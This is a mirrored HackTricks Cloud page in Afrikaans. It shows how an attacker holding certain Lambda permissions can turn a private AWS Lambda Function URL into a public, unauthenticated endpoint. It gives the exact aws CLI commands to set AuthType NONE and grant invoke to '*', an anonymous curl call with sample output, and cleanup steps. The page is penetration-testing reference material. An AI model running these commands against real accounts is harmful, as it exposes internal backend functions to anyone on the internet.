mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
1.9 KiB
1.9 KiB
AWS - Lambda Function URL Publieke Blootstelling (AuthType NONE + Public Invoke Policy)
Skakel 'n private Lambda Function URL om na 'n publieke onbevestigde endpoint deur die Function URL AuthType na NONE te verander en 'n resource-based policy aan te heg wat lambda:InvokeFunctionUrl aan almal toestaan. Dit stel anonieme aanroep van interne funksies in staat en kan sensitiewe backend-operasies openbaar maak.
Misbruik daarvan
- Vereistes: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission
- Region: us-east-1
Stappe
- Maak seker die funksie het 'n Function URL (standaard is AWS_IAM):
aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true
- Skakel die URL na publiek (AuthType NONE):
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE
- Voeg 'n resource-based policy statement by om ongeauthentiseerde principals toe te laat:
aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE
- Haal die URL en roep sonder credentials aan:
URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text)
curl -sS "$URL"
Impak
- Die Lambda funksie word anoniem toeganklik oor die internet.
Voorbeelduitset (unauthenticated 200)
HTTP 200
https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/
{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]}
Opruiming
aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true
aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true